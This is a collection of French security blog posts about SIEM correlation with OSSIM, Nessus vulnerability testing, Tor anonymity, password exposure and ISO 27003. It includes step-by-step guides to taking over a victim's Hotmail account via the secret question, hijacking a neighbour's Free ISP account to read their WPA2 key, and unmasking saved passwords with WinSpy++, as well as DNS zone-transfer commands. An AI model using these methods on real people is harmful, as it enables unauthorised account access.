utilisés en tant que "sensor" On parlealors de SNORT/ACID, NESSUS, NMAP, NTOP, p0f, TCPTrack, Syslog, PADSet NAGIOS* Caractéristiques avancées :A - La corrélationLa corrélation se fait à partir de toutes les informations récoltéespar les agents, chacun devant être disposés sur des noeudsstratégiques du réseau à superviser Ensuite, les informations sonttraitées en les confrontant Premier avantage, on réduit le nombre defaux-positifs qu'un sensor à lui-seul fournirait ex : SNORT Lacorrélation peut être détaillée en trois étapes :1 Cohérence des données - OSSIM commene par examiner la cohérence desdonnées collectées pour en déterminer la pertinence Grâce à uninventaire de matériel et de logiciels présents sur le réseau, noussaurons que tel serveur utilise IIS par exemple Si une alerte àpropos de cette même machine concerne Apache, le score de pertinencesera très faible2 Correspondance des données - OSSIM a aussi à sa disposition unetable de correspondance alertes-versions et alertes-vulnérabilitésfournies par SNORT et NESSUS Ainsi, supposons qu'une alerte remontépar SNORT correspond à une vulnérabilité connue après un scan deNESSUS, le score de pertinence sera cette fois élevé3 Les directives logiques - Pour terminer, notre solution fonctionneaussi avec des directives ou règles qui permettent de corréler desanomalies, des alertes et des états fournis via les moniteursB - La prioritisation ;Pour qu'une solution de sécurité soit efficace, il faut que celle-cis'adapte au mieux aux particularités et aux exigences del'environnement où nous désirons la déployer OSSIM est capable derépondre aux questions suivantes :1 Qu'est-ce qui est important pour la sécurité 2 Quelles sont les adresses sources que l'on redoute avant tout 3 Quelles sont les adresses de destination les plus critiques Par exemple, nous admettons qu'une attaque provenant d'Internet etayant pour cible une adresse interne de notre réseau est prioritaire,d'autant plus s'il s'agit d'un serveur financier plutôt qu'un serveurd'impression Alors, nous pourrons via notre SIM donné un score depriorité entre 0 priorité minimale et 5 priorité maximale pourchaque équipement réseauC - L'évaluation des risques ;Grâce à la combinaison de plusieurs éléments, OSSIM est capabled'évaluer le risque d'une attaque en cours Il se base sur :1 L'algorithme CALM Compromise et Attack Level Monitor2 Les directives pré-établies ou écrites3 Des seuils de toléranceCe système de points fait l'objet d'un calcul qui permet d'évaluer leniveau de l'alarme :niveau_alerte = importance_machine * prioritisation * risque /10Le tableau de bord d'OSSIM :A travers un exemple concret d'attaque et d'investigation, voyons letableau de bord fourni par la solution Celui-ci est founi via unportail WEB A noter que des fonds d'écran sont disponibles sur lesite d'OSSIM* Le panneau de contrôle général ; Fournit les informations globalesniveau de sécurité actuel de l'ensemble du réseau, alerte la plusgrave pour le réseau, les sous-réseaux, les serveurs Aussi, on ytrouve un graphe avec le nombre de machines éventuellementattaquées et attaquantes après compromission* Le riskmeter Si le premier panneau montre un problème ex :nombre de machine attaquées en augmentation, nous nous dirigeonsvers le riskmeter qui est un graphe en barre dont la valeuraugmente dans le même temps qu'une attaque s'intensifie parexemple, lors d'un scan massif, au fur et à mesure des scans, nousverrons la barre correspondant à la machine cible avancer en tempsréel Quelque chose se prépare * Le tableau d'alerte Ici sont regroupées les alertes remontées parSNORT et visualisées avec l'interface ACID ou BASE au choixChaque alerte peut correspondre à une phase de l'attaque* Le tableau d'alarme L'ensemble des alertes relevées en 3 peuventconstituer une alarme après corrélation Dans ce nouveau tableau,nous voyons les attaques repérées ex : la propagation d'un verset le niveau de l'alarme de 0 à 10* La gestion d'incident Il est donc temps d'agir alors, on utilisel'outil de ticketing qui permettra d'alerter les personnesconcernées de l'attaque en cours La réactivité est de mise dansce genre de situation* Les statistiques Une fois l'incident repéré et traité, il ne fautpas que cela se reproduise Grâce aux panneaux fournis par NTOPentre autres, nous pourrons trouver des indices par rapport àl'origine de l'attaque Aussi des tableaux comme le top 20 desattaques nous permettront de concentrer nos efforts sur les pointsles plus critiques de notre SILes résultats fournis par OSSIM :Un tel outil n'a de sens que s'il est en mesure de fournir différentsrésultats qui nous aideront à gérer les incidents, à fournir lesinformations nécessaires en cas de forensics, à dessiner les graphesqui vont bien pour évaluer la sécurité de son SI et en trouver lespoints faibles dans le but d'y remédier bien sûrC'est donc sous forme de mails, ticketing, graphes, tableaux etrapports PDF, HTML, que nous aurons à disposition toutes lesinformations nécessairesLes informations obtenues, étant de différentes natures, pourront soitêtre utiles à un Administrateur Sécurité rapport technique, relevéd'incident, soit à un RSSI statistiques, top20, synthèsesD'autres information dans l'article d'Hakin9, numéro 10/2007http://www.secuobs.com/revue/news/5924.shtmlhttp://www.secuobs.com/revue/news/5924.shtml Secuobs.com : 2008-02-08 11:06:18 - MISSION Security - Les tests de vulnérabilités occupent une grande place dans les besoins desécurité des SI pour évaluer la sécurité d'un système ou dans le cadred'un test d'intrusion Le but est bien entendu de trouver lesfaiblesses des serveurs afin d'assurer une sécurité système maximaleau final Pour mieux comprendre ce sujet, je vous invite à lire mondossier paru dans le magazine Hakin9, n°26 - Juillet/Août Ma pubétant faite ;, je vous propose d'en voir les points essentiels dansce blog à travers trois parties : la préparation d'un test, sondéroulement et son interprétationIntroduction et définitions :Avant de parler de tests de vulnérabilités, je vous invite avant toutà lire la définition d'une vulnérabilité sur le site de Wikipédia parexemple Quant aux tests eux-mêmes, ils sont définis par le clusifcomme "l'identification de failles connues" Nous ne sommes donc pasdans la même problématique d'un test d'intrusion où ce qui prévaut estla créativité et l'ingéniosité à trouver les faiblesses d'un réseauPréparation d'un test de vulnérabilités :Le but de cette partie est d'essayer d'obtenir les résultats les pluspertinents possible et d'éviter les faux-positifs1 Trouver les bons outils :Il pourrait exister autant de testsde vulnérabilités que de serveurs En effet, les besoins sontdifférents en fonction de la machine à auditer et selon, les outilsutilisés le seront aussi Par exemple, dans le cadre d'un serveur WEB,on utilisera très certainement un scanner WEB comme NIKTO Cependant,un serveur ne se caractérise pas seulement par son rôle principal maisde manière plus complexe un OS, des comptes, des droits, despartages, etc C'est pour cette raison que pour réaliser un testcomplet, il faudra utiliser une combinaison d'outils appropriésCependant, dans de nombreux cas, NESSUS est l'outil privilégié pour cegenre de tâche il existe des outils plus complets mais qui entrentplutôt dans le cadre d'un test d'intrusion2 Déterminer la nature du test :Le demandeur devra choisir en premier lieu entre :* Les tests externes ; Nous simulons un attaquant qui opère depuisle réseau internet ;* Les tests internes ; Nous simulons un employé de l'entreprise ouun intrus qui s'est infiltré physiquement au sein de celle ciPuis, il devra choisir entre :* Les tests dits "boîte noire" ; tout ce que l'auditeur a à sadisposition, c'est une adresse IP ou un range d'adresses Ilsimule ainsi le comportement d'un attaquant* Les tests dits "boîte grise" ; l'auditeur connaît les informationsde bases sur la ou les cibles* Les tests dits "boîte blanche" ; l'auditeur a accès à toutes lesinformations qu'il désire sur la ou les ciblesLe choix se fera en fonction des besoins du demandeur Par exemple, untest externe en boîte noire révèlera seulement ce qu'un hacker pourratrouver en choisissant l'entreprise pour cible aléatoire alorsqu'un test interne en boîte blanche fournira le maximum d'informationet les actions correctives pourront être plus poussées3 La configuration de l'outil :Après avoir pris connaissance des informations nécessaires - neserait-ce qu'une adresse IP dans le cas d'un test en boîte noire -nous devons nous en servir pour configurer les outils choisis Si nousprenons par exemple le cas de NESSUS, la configuration s'effectuera enplusieurs étapes ici simplifiée à l'extrême :* Renseigner la ou les adresses IP ou noms de serveurs ;* Déterminer les types de scan de ports à utiliser ex : scanTCP, SYN, etc ainsi que le range de ports à étudier ;* Donner les paramètres de connexions vers la serveur NESSUS ;* Donner les paramètres des tests "safe check" ou non, "optimizethe test" ou non, etc ;* Activer les plugins nécessaires et seulement ceux-là un plugin =un module ayant pour fonction d'exécuter un test Il est possiblede désactiver les attaques DoS pour éviter de faire tomber leserveur ;* Et enfin lancer le scan qui a dit qu'un test de vulnérabilitésconsistait seulement à cliquer sur le bouton "start" ;Déroulement d'un test :La plupart du temps, un test de vulnérabilités consistera en :* connexion de ports ;* lancement de module executant des tests ;* récupération d'information sur les tests réussis et traitement desdonnéesDe nouveau, prenons NESSUS pour exemple car un peu plus complexe maisdu coup plus intéressant :1 L'utilisateur se connecte via son client vers le serveur NESSUS eneffet, cette solution fonctionne en mode client / serveur Laconnexion est chiffrée certificats2 Le serveur NESSUS effectue les tests vers la machine à auditer3 Pendant cette phase de tests, NESSUS se sert de la base deconnaissances pour optimiser l'exécution des tests entre autres, ilenregistrant les informations collectées au fur et à mesure et éviteainsi d'effectuer plusieurs fois les mêmes tests, comme la présenced'un serveur FTP sur le port XX4 Les résultats sont renvoyés aux clients qui peut alors générer unrapportInterprétation d'un test :A l'issue de la deuxième phase, nous avons donc en main toutes lesinformations nécessaires certainement sous forme de rapportPeut-être que les mêmes personnes qui pensaient qu'appuyer sur lebouton "start" suffisait pensent que nous en avons fini Ce seraitune erreur Au contraire, la partie la plus importante etintéressante va commencerPour cela, voici le résumé des étapes ;* Repérer les failles réelles ou éventuelles parmi les alertesrelevées par le scanner,* Evaluer la pertinence de chaque faille,* Evaluer l'importance de chaque faille criticité, impact, risque,* Ajuster les évaluations en fonction des conditions de tests zonecritique ou non, serveur critique ou non, etc et desparamètres des tests attaques DoS activées ou non, mode "safecheck" ou non, etc Augmenter le niveau de pertinence des résultats en ;* Eliminant les incohérences évidentes ex : faille concernant unSOLARIS 8 alors que nous sommes en version 10,* Trouvant les intéractions entre les alertes ex : "un mot de passen'a jamais été changé" et "une "le mot de passe n'expire jamaisselon sa politique de sécurité",* Eliminer les derniers faux-positifs grâce à NASL - langage danslequel sont écrits les plugins - en l'utilisant en ligne decommande ou en créant ses propres plugins,* Utiliser plusieurs outils pour confirmer ou non une failleEnsuite, il faudra agrémenter le rapport avec ;* Des explications sur la faille et le risque encouru travail desensibilisation,* Des solutions contenant des actions correctives concrètes etréalisables,* Des références documents, références CVE ou autre,* Une évaluation globale de la sécurité avec les conseils avisés del'auditeurPour conclure :Un test de vulnérabilités n'étant pas aussi complet qu'un testd'intrusion, nous ne pourrons pas tout voir dans notre cas Cependant,à l'issu de notre travail, nous devrions avoir repéré les problèmesmajeurs aux niveaux OS et applicatif Mais "savoir" ne suffit pasPour que la tâche ait vraiment un intérêt, il faut pouvoir appliquerles actions correctives et alors réellement augmenter le niveau desécurité du système audité Evidemment, un travail de fond serait àenvisager pour obtenir les meilleurs résultats : il s'agirait en amontde déterminer des politiques de sécurité, un hardening des OS strictet en aval de maintenir le niveau de sécurité à travers une gestion decorrectifs continue accompagnée d'une veille de vulnérabilités Bref,c'est ce qu'on peut appeller un cycle vertueux, non http://www.secuobs.com/revue/news/5923.shtmlhttp://www.secuobs.com/revue/news/5923.shtml Secuobs.com : 2008-02-08 11:06:18 - MISSION Security - Lors d'un pentest, l'auditeur simulera le comportement de l'attaquantdans sa façon d'agir Aussi, celui-ci, conscient que son activité estillégale fera en sorte de ne pas être pris Voyons aujourd'hui unmoyen de ne pas être lors d'attaques grâce au proxy P2P : TORAvant-propos :Pour ne pas être vu via le réseau Internet, plusieurs possibilités'offrent à vous En général, elles tournent autour du proxy Enchangeant de cette manière votre adresse IP, votre propre adresse necirculera pas Sûr pas forcément D'un part, dans le cadre d'unproxy d'entreprise, c'est l'adresse de ce dernier que nouslocaliserons Cela réduit largement le champ des recherches De plus,en examinant les paquets, il contiennent l'adresse de retour ou dumoins le port de destination qui trahira la personne pensant être"anonyme"Dans le cadre d'un proxy classique que nous trouvons sur Internet, ilsera la plupart du temps surchargé car gratuit ou payant maisquoiqu'il en soit, il sera toujours possible de localiser la personneSachant que si cela ne peut pas se faire à travers les paquets, ilsrestera toujours des traces dans les logs du proxy et/ou au sein del'entité hébergeant celui-ciPour remédier à cela, il fallait imaginer un concept nouveau : unréseau proxy peer-to-peer Nous parlons de TOR Installation de TOR :Pour utiliser cet utilitaire, nous aurons besoin dans un premier tempsde télécharger vidalia iciChoisissez la dernière version selon votre OS et lancerl'installation Vous obtiendrez ainsi tous les modules nécessaires aufonctionnement de TOR :* Privoxy* TOR lui-mêmeDémarrer ce composants et firefox car c'est à travers ce navigateurque nous allons uti Sous Windows, vous devriez voir apparaître uneicône dans la barre des tâches Vous pourrez alors voir le panneau deconfiguration Ainsi, vous pouvez vérifier que TOR est bien actifmais pas en action En effet, nous remarquons un nouvel élément dans la barre d'état defirefox avec le texte "You are now Unmasked"Pour le vérifier, voyons l'adresse que nous transmettons simplementsur le site de la CNIL par exemple :Nous voyons donc ici notre adresse IP publique qui n'a pas étémodifiéeUtilisation de TORAlors activons TOR en double-cliquant simplement sur l'icone de labarre d'état de firefox :En fait, nous nous connectons alors à un "relais" TOR qui sert deserveur proxy Vous passez par le port 8118 par défaut avec l'adresselocalhost 127001 Vous pouvez vous même utiliser votre machine entant que serveur dans le menu de configuration de TOR et cliquez sur"installer un relais" cf première image Activer l'option et voilà Plus il y aura de personne participant de cette manière, plus lespistes seront nombreuses et donc il sera plus difficile de vousretrouver Maintenant que nous sommes maqués, voyons le résultat avecun autre site cette fois iciNous avons bien une nouvelle adresse En fait, plusieurs changementsse sont opérés auparavant :* Nous nous sommes connectés à un des serveurs relais TOR ;* Firefox est configuré pour utiliser un proxy avec privoxy, port8118 - localhost cf configuration avancé > réseau de Firefox* Firefox est configuré pour ne plus accepter les cookies pour plusde discrétion encore ; cf "vie privée" dans les options deFirefox de nouveauEnsuite, vous pouvez surfer de manière anonyme Evidemment, vousnoterez un ralentissement Mais aussi, chose intéressante, vousremarquerez que votre adresse changera très régulièrement Avec toutcela, comment faire mieux pour brouiller les pistes Vous avez lapossibilité de forcer le changement d'adresse dans le menu deconfiguration de TOR en cliquant sur "nouvelle identité" cf premièreimage Tout simplement Conclusion :Si nous venons de montrer le moyen de ne pas être reconnu, c'est aussiune façon de ne pas être localisé En effet, pour un investigateur, ildevient difficile de remonter jusqu'à la personne qui utilise TORCela est malheureusement valable aussi pour l'attaquant que l'on auraplus de mal à trouver Cependant, nous pouvons toujours compter surune erreur de sa part En effet, un attaquant non expérimenté, secroyant ainsi "invisible", pourra lancer une attaque où là, des tracessubsisterontPour l'utilisateur, TOR peut aussi être une source de danger Eneffet, il y a deux ans et demi, une version de TOR vulnérablepermettait à un attaquant de simuler un serveur privilégié afin quel'utilisateur s'y connecte en priorité et sniffer ainsi ses flux,voire les modifier Pour en savoir plus Alors comme toujours, faîte attention de disposer d'une version à jour:http://www.secuobs.com/revue/news/5921.shtmlhttp://www.secuobs.com/revue/news/5921.shtml Secuobs.com : 2008-02-08 11:06:18 - MISSION Security - Avant de commencer une attaque, nous avons tout intérêt à nous poser enpremier lieu et à chercher le maillon faible En effet, un principe dela sécurité des systèmes d'information est que le niveau de sécuritéd'un système est équivalent au niveau de sécurité de son maillon leplus faible Alors avant de vous attaquer à l'entrée principale ultrafortifiée d'une forteresse, chercher la petite porte ;Premier exemple : récupérer un compte HotmailNon sensibilisés à la nécessité d'avoir un mot de passe fortcomprendre lettres minuscules et majuscules, chiffres et symboles, letout dans un mot de passe de 8 caractères minimum, les utilisateurschoisiront souvent un mot de passe que l'on pourra deviner par uneattaque par dictionnaire ou un mot de passe simple ex : martin76Dans ce cas, une attaque par brute force peut suffireMaintenant, imaginons que notre utilisateur ait un bon mot de passeNous perdrions des années à essayer de le casser Alors trouvons lemaillon faible * 1/ Pour commencer, il suffit de nous rendre dans la rubrique "Motde passe oublié" Nous trouverons un lien dans la paged'authentification Là, remplissons comme demander l'adresse mailex : victime@hotmailcom et les caractères de l'image* 2/ Ensuite, choisir "utiliser ma question secrète " Si cetteoption n'est pas disponible, tant pis, il nous faudra trouver unautre moyen * 3/ Ici, on nous demande des informations comme le pays puis lecode postale Il suffit de connaître juste un peu la victimesociété ou personne pour savoir cela Au pire, google est votreami ; Après, il vous faut donc répondre à la question secrète etc'est là que le bât blesse En effet, si certaines personnespenseront à mettre un mot de passe assez complexe lors de leurinscription, ils ne penseront que très rarement à le faire pourrépondre à la question secrète Pis, ils oublieront trèscertainement ce champs et ne le modifieront jamais Vous avezalors tout le temps souhaité pour trouver la bonne réponse quidevrait faire partie d'un ensemble de quelques dizaines deréponses possibles ex : nom d'une équipe de foot, marque devoiture, ville de naissance, Dans notre exemple, il s'agit d'une émission TV Comme il est écrit,on n'accepte que minuscule et majuscule à partir de 5 caractères :Quelques essais seulement devraient vous suffire ici, 2 ; et hop :Voilà, vous n'avez plus qu'à définir votre propre mot de passe pour lecompte de la victime Vous avez donc un total accès à sa messagerie et son compte MSN, et tout le reste Merci l'unification desservices avec Windows Hotmail Live ;Vous remarquerez que l'on a le culot d'écrire qu'un mot de passe fortempêche un accès non autorisé ha bon :Deuxième exemple : récupérer la connexion Wi-Fi d'un compte FreeDans ce deuxième exemple, le principe est exactement le même Imaginezque vous cherchiez à utiliser la bande Wi-Fi de votre voisinMalheureusement, celui-ci chiffre sa communication avec un clé WAP2 etune passphrase de 64 caractères ex : un poème entier avec dessymboles et chiffres Inutile d'espérer de casser une telle clé Sûr Encore une fois, un maillon faible existe En effet, il est beaucoup plus simple de récupérer le compte freed'une personne Pourquoi parce que celui-ci n'est constitué que d' :* un numéro de téléphone Pour le connaître, il suffira de trouverson nom sur la boîte au lettre et utiliser le site des pagesjaunes Au pire, connaissant le coin, les 4 ou 6 premiers chiffresdevraient être les mêmes que les vôtres attention, il s'agitdu numéro en 01/02/03/04/05 et non 08 ou09* un mot de passe faible il faut savoir que les comptes free d'unepart n'accepte des mots de passe qui ne dépassent pas 6 caractères De plus, ils n'autorisent pas les symboles Autant dire qu'uneattaque de type brute-force aura vite fait de casser ce type demot de passe Plan B, si cela ne marchait pas, il faut savoirque les communications ne sont pas chiffrées mais passent toutesen HTTP, en clair Vous trouverez diverses attaques faciles pourrécupérer le mot de passe grâce notamment à un sniffer tel queWireshark anciennement etherealVous avez alors accès à l'interface Free de la victime et vous pouvezde cette manière, entre autres, voir sa clé WPA2 Comme quoi, la sécurité ne tient parfois qu'à un fil http://www.secuobs.com/revue/news/5916.shtmlhttp://www.secuobs.com/revue/news/5916.shtml Secuobs.com : 2008-02-08 11:06:18 - MISSION Security - Alors qu'il y a quelques jours seulement je vous racontais commentrécupérer simplement des mots de passe pour des comptes mails, uncollègue de l'ESEC - que l'on nommera Agent HR - me montre un outilqui ne paye pas de mine mais qui entre dans la continuité du dernierpost Alors la mission du jour : combien de temps vous faut-il pourcasser un mot de passe constitué de dizaines de caractères Bien sûr,par "caractères", j'entends symboles, lettres, chiffres et tout ce quiva bien Allez, UNE seconde Mission impossible A nous de jouer Contexte :Ce post sera intéressant dans le cadre d'un pentest interne ou externesi vous êtes entré sur le PC d'un utilisateur Comme la plupart despostes de ce type, nous rencontrons une machine sous windowsprofessionnel et avec Internet Explorer et Outlook installés Vousn'avez pas réussi à trouver les mots de passe par les moyens fournisprécédemment via un webmail par exemple et les attaques par bruteforce pataugent Alors une fois sur l'ordinateur de la personne, vouspensez à regarder si celle-ci les enregistre automatiquement via sonnavigateur Bien joué mais non, elle entre à chaque fois son mot depasse ou alors, elle n'utilise jamais le webmailL'acharnement est de mise car nous savons que les mots de passe sontla clé de voute d'un tel test d'intrusion Alors rien dans lescookies, il vous vient une dernière idée simple : le client demessagerie En effet, vous vous rendez compte que le mot de passe est bienenregistré dans le client de messagerie mais bien sûr, caché par desétoiles :Nous ne sommes pas très avancés à part savoir que cela va nous prendredu temps de casser un mot de passe si long 34 caractères àmoins que Notre arme du jour s'appelle, spy, winspy Alors pour réussir à trouver le mot de passe en une seconde,commençons par télécharger winspy++ downloadNB : Cet outil n'est pas à confondre avec winspy qui lui est unutilitaire contre les spywaresAucune installation n'est nécessaire, il suffit de décompresser lepackage téléchargéVous trouvez alors un executable nommé WinSpyexe logique ; que vouslancezUne petite fenêtre apparaît avec à sa gauche, une cible Il suffitalors de faire du dragetdrop sur cette cible et visez la champ avec lemot de passe formé d'étoilesEt, dès que vous relachez la souris la magie opère Comme quoi, nous nous rendons compte encore une fois qu'un mot depasse, aussi fort soit-il, n'est pas forcément une garantie desécuritéCe qu'il est important de retenir surtout, c'est qu'il ne faut laisseraucune trace Que ce soit dans les cookies, à travers une questionsecrète, sur un post-it, en clair dans un document TXT, dans le cache,etc un mot de passe est tant prisé qu'il faut vraiment y faireattention Malheureusement, les utilisateurs ne pensent souvent qu'au contenu lemot de passe mais bien trop rarement au contenant la manière dontest chiffré, géré ou sauvegardé un mot de passe Pour terminer, si nous avons réussi notre défi, cela nous permettracertainement d'aller bien plus loin dans notre test En effet, avoirun tel mot de passe, c'est bien mais en avoir deux, nous n'y croyonsplus Cela signifie que les autres mots de passe de l'utilisateurseront très certainement le même mot de passe ou un extrait decelui-ci l'aventure continue :http://www.secuobs.com/revue/news/5914.shtmlhttp://www.secuobs.com/revue/news/5914.shtml Secuobs.com : 2008-02-08 11:06:18 - MISSION Security - Aujourd'hui, une idée m'est venue hé oui Toute bête en soi maistout de même, elle ammène la réflexion Pour aller droit au but, je nesais pas si vous avez remarqué, mais vous êtes pistés Attention cheragent, notre agence déniera tout lien avec les services secrets en casde problème Au départ, un effet de mode Vous avez certainement fait l'objet d'une invitation de site de"rassemblement" Pis, vous vous y êtes incrits vous-mêmes ; Que cesoit professionnel avec des sites comme linkedin ou personnel commefacebook, l'homme aime faire partie d'un groupe et se fait entourer deses collègues ou ses amis Que ce soit pour des opportunités detravail ou tout simplement pour ne pas perdre contact avec descollègues ou amis, le profil de chacun est inscrit quelque part sur lenet Bref, un simple effet de mode Sauf que Sauf qu'à force d'être inscrit partout, il devient de plus en plusfacile de recouper les informations et là, "c'est le drame " Eneffet, maintenant, si vous avez le "malheur" de poser un question surun forum, de poster un article dans un blog ou dans un newsgroup, nousremarquons une chose : le WEB évolue, prend de l'ampleur - avec desmoyens d'expression comme le blog - et nous y la faisons de moins enmoins attention à ce que nous laissons comme traces et informations Ala base, les informations ne sont pas forcément pertinentes Sauf que,à force de multiplier les sources, le recoupement se fait de plus enplus facilement En effet, cette méthode de recherche d'informationest connue de tout pentester et de tout curieux, mais ce que nousnotons, c'est que c'est de plus en plus valable avec le temps Si certaines personnes vont penser à faire attention à ne pasdivulguer de renseignements sensibles dans un post, vont-elles penserdans le même temps qu'elles ont dit il y a quelques mois avoir qu'elletravaille pour telle ou telle société Déjà, vous commencez àcomprendre L'illustration par l'exempleEXEMPLE 1:Par exemple, imaginez une personne qui écrit dans un forum poursignaler, en tant qu'administrateur système, qu'il ne connaît pas lesmoyens pour sécuriser son serveur DNS problème de transfert de zoneSi la personne n'a pas déjà donné son nom, il pourra certainement êtreretrouvé dans son profil quitte à s'incrire avec un compte bidon surce même site Au pire, quelques recherches Google feront le lienentre le pseudo et le nom Ensuite, le nom en poche, il suffit de serendre sur un site comme linkedin et là, vous retrouverez le profilprofessionnel de la personne cette fois Bingo, vous savez où elletravaille, dans la société CompagnieSecretePar exemple, allez faire un tour dans la partie "Experience" delinkedin d'une personneQuoi, l'administateur a dit avoir rencontré des problèmes de transfertde zones sur son serveur DNS Mais mes mains s'agitent déjà, ellestapents des DIG NS CompagnieSecretecom Oh non, maintenant, ellesse mettent à écrire des host -l Oups, je crois que l'on ne retrouvera jamais le corps de cettepersonneEt vous, cher agent lecteur, on ne peut rien apprendre de vous Riende compromettant Sûr EXEMPLE 2:Même pas peur Alors je vois que vous avez de l'entraînement mais là,nous allons voir vos limites Par exemple, a tout hasard, prenons leprofil de Jérôme KERVIEL non non, nous n'en avons pas assez parlé; Savez-vous que son profil est disponible sur le site linkedin Maintenant, savez-vous que nous pouvons y retrouver ses contacts Hé bien j'espère ne pas vous y retrouver Vous pourriez être dans desals draps Mais c'est qu'il EST dans mes contacts Finalement, le recoupement d'information n'est même pas obligatoireCes sites "à la mode" nous donnent déjà du fil à retordre à eux seulshttp://www.secuobs.com/revue/news/5913.shtmlhttp://www.secuobs.com/revue/news/5913.shtml http://www.secuobs.com Observatoire de la securite Internet fr webmaster@secuobs.com 2011-01-29 00:23:43 - MISSION Security : Je continue mes péripéties sur l'étude des SMSI mais je fais une pause sur les normes pour vous présenter un outil permettant l'évaluation des SMSI evalsmsi Cet outil avait été présenté par Michel Dubois pendant les rump sessions du SSTIC 2009 Une telle solution, libre qui plus est, je n'en connais pas d'autre il me paraît donc important de s'y intéresser En fait, ce poste sert peut-être à rien Le but de ce post est d'installer la solution mais la réalité, c'est qu'il existe déjà une image virtuelle toute faite et alors, il n'y a rien à faire si ce n'est de l'importer dans sa virtual box Sauf que me concernant, j'avais des erreurs avec le fichier ova alors je ne me suis pas découragé pour autant et j'ai pris le targz on est joueur ou on l'est pas Pour faire cela, je suis parti d'une nouvelle image Ubuntu 1010 donc je reprends tout depuis e début Certaines choses ne vous seront donc certainement pas utiles En tout cas, même si l'auteur a pensé à faire un READMEtxt, je pense qu'un tuto pourra faciliter la vie de certains Donc ce post va peut-être servir finalement Étape 1 Installation des packages La solution repose sur un architecture LAMP Nous installons les packages en conséquence Notez que nous devons créer la base de données avant l'installation de phpmyadmin jer001 ubuntu sudo apt-get install apache2 jer001 ubuntu sudo apt-get install mysq-server jer001 ubuntu mysql -u root -p create evalsmsi jer001 ubuntu sudo apt-get install phpmyadmin Étape 2 Apporter les restrictions principales Ce serait un outrage de parler de hardening mais un minimum de mesures de sécurité me paraît nécessaire On commence par changer l'alias pour atteindre l'interface d'administration de phpmyadmin, histoire qu'elle soit moins visible jer001 ubuntu sudo vi etc phpmyadmin apacheconf rajouter cette ligne On évite de fournir la version de PHP, question de principe variable expose_php à Off jer001 ubuntu sudo vi etc php5 apache phpini On passe à la configuration d'Apache pour cacher empêcher l'accès au fichier configincini de phpmyadmin, cacher les bannières, limiter les accès à l'application par filtrage IP jer001 ubuntu cd etc apache2 jer001 ubuntu sudo vi apache2conf rajouter ces lignes jer001 ubuntu sudo vi confd security vérifier changer la valeur de ces variables jer001 ubuntu sudo vi sites-available default rajouter les lignes jer001 ubuntu sudo etc initd apache2 reload Étape 3 Installation et configuration de la solution Nous installerons la solution dans un répertoire accessible par le serveur WEB jer001 ubuntu cd var www jer001 ubuntu sudo wget http downloadssourceforgenet project evalsmsi evalsmsi_231targz jer001 ubuntu sudo tar -xzvf evalsmsi_231targz jer001 ubuntu sudo rm evalsmsi_231targz On attribue les droits du serveurs WEB au répertoire où est localisée la solution jer001 ubuntu sudo chown -R www-data www-data evalsmsi On récupère le fichier SQL pour configurer la base de données jer001 ubuntu sudo gunzip -d var www evalsmsi docs evalsmsisqlgz Pour lancer les requêtes SQL de ce fichier, j'ai fait simple un copier du contenu du fichier et un coller dans phpmyadmin onglet SQL et Go cliquer On crée un nouvel utilisateur dans MySQL pour la gestion de la base evalsmsi Je le fais via phpmyadmin de nouveau onglet Privileges On fournit les données de connexions de la BDD à la solution renseigner les comptes notamment jer001 ubuntu sudo vi var www evalsmsi functionsphp On vérifie que tout fonctionne dans l'interface d'Evalsmsi Cliquer sur Accès établissement et entrer les crédences d'un admin ex compte admin1 Si ça marche, vous verrez cette page Success Conclusion Rares sont ceux qui maîtrise la technique et l'organisation de la sécurité Or, le SMSI est destiné avant tout à cette 2e catégorie de personnes Alors autant leur permettre d'utiliser une telle solution sans qu'ils soient bloquer par la technique Il resterait beaucoup à dire comme la sécurisation de la plateforme et surtout, l'utilisation de la solution Peut-être l'objet d'un prochain post http://www.secuobs.com/revue/news/281545.shtmlhttp://www.secuobs.com/revue/news/281545.shtml Secuobs.com : 2011-01-06 02:26:46 - MISSION Security - Dans la continuité de la revue des normes internationales sécurité, il est temps dorénavant de mettre en place le SMSI Et pour cela, il existe depuis moins d'un an la norme ISO 27003, dédiée à l'implémentation d'un SMSI Petit résumé avant de commencer Comme la norme ISO 27002 et toutes les normes qui vont suivre, il s'agit d'un guide et non d'exigence L'idée principale est de mettre en place un SMSI en construisant un projet Il s'agit en effet de déterminer les tâches à réaliser et de les synchroniser correctement dans le temps et d'impliquer les ressources nécessaires pour chacune d'entre elles Nous allons parcourir cette norme à travers ses clauses 5 à 9 qui nous fournissent les lignes directrices pour le démarrer un projet de SMSI en 5 phases donc qui suivent un ordre logique Cependant, la norme ne fournira pas d'indication pour faire vivre le système de management en question une fois lancé Ce que raconte la norme Clause 5 Obtenir l'accord de la direction pour initier le projet de SMSI L'objectif de cette clause est double obtenir l'accord de la direction et rédiger une première version de la planification du projet de SMSI Plus précisément, cette clause a pour vocation de définir les besoins en termes de sécurité et de business afin de déterminer les objectifs de la direction et le périmètre qui sera impliqué dans le SMSI Ceci sera réalisé à travers 3 sous-étapes Clarifier les priorités qui amènent au déploiement du SMSI Définir le périmètre préliminaire du futur SMSI Réaliser un plan business et le planning du projet pour approbation Finalement, nous cherchons ici les axes stratégiques et les raisons d'une telle implémentation à mettre en accord entre les besoins et les exigences Le fait de définir et de clarifier l'ensemble des composantes du futur SMSI devraient amener à un consensus entre la sécurité et la direction Clause 6 Définir le périmètre du SMSI, ses limites et la politique du SMSI Pour ceux qui se sont intéresser à la norme ISO 27001, nous retrouvons ici deux documents requis par celle-ci Rappelons que la certification ISO 27001 est attribuée à un périmètre précis Il s'agit donc d'une composante importante Quant à la politique du SMSI, elle représentera le vecteur de développement tout au long du projet Cinq sous-étapes sont nécessaires cette fois Définir le périmètre d'organisation et ses limites en termes ex responsables et personnes impliqués dans le projet Définir le périmètre IT et ses limites ex logiciels, serveurs, technologies, Définir le périmètre physique et ses limites ex les sites qui feront partie du périmètre Synthétiser les 3 étapes précédentes pour définir le périmètre global et final avec ses limites attention toute exclusion doit être justifiée Rédiger la politique du SMSI et la faire valider Nous savons maintenant sur quoi nous allons travailler En effet, nous avons correctement cadré le projet de SMSI Les bases étant posées et approuvées, nous pouvons passer à l'étape suivante Clause 7 Analyser les pré-requis sécurité Tout simplement, il s'agit ici d'établir un état des lieux du périmètre en termes de sécurité Les résultats de cette analyse nous permettront de mieux appréhender les actions à mener par la suite Pour obtenir ces informations, 3 sous-étapes sont proposées Définir les pré-requis sécurité pour les process relatif au SMSI processus critiques contraintes légales biens prioritaires vulnérabilités impliquées besoin de sensibilisation et de formation Définir les biens dans le périmètre du SMSI classification des biens et besoins à partir de l'étape précédente Évaluer le niveau de 